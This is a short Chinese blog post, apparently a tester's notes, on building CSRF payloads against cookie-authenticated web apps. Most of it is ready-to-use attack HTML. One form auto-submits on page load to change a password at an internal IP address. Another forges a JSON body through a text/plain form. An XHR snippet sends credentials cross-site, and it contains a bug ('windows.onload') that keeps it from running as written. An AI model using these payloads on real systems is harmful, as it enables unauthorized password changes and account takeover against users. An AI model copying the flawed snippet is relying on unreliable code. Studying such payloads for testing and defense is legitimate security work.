CSRF payload 构造

CSRF payload 构造

构造原理

利用from表单提交时会自动携带cookie的特性

前提:系统是通过 cookie 进行身份验证的,使用 authorization 鉴权的不存在该问题

构造GET型

具有更新数据库操作的行为,一般不会存在get接口(因为不符合规范)。

如果系统确实存在,这种直接发送拼接好的链接就行。

构造POST型

from表单型

<html>
  <head>
    <script>
      // 页面加载完成,自动提交表单
      window.onload = function(){
        document.getElementById("postsubmit").click();
      }
    </script>
  </head>
  <body>
    <form method="post" action="http://10.10.128.173/je/common/load">
      <input id="password_new" type="text" name="password_new" value="123456" />
      <input id="password_conf" type="text" name="password_conf" value="12345" />
      <input id="Change" type="text" name="Change" value="点击更改" />
      <input id="postsubmit" type="submit" name="submit" value="submit" />
    </form>
  </body>
</html>

json型

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.10.128.173/je/common/load" method="POST" enctype="text/plain">
      <input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<script>
  windows.onload = () => {
    var xhr = new XMLHttpRequest()
    xhr.open("POST", "http://test.example.com/csrf")
    xhr.setRequestHeader("Accept", "*/*")
    xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3")
    xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8")
    xhr.withCredentials = true // 携带cookie
    xhr.send(JSON.stringify({"a":"b"}))
  }
</script>
posted @ 2026-04-10 15:13  测试小罡  阅读(17)  评论(0)    收藏  举报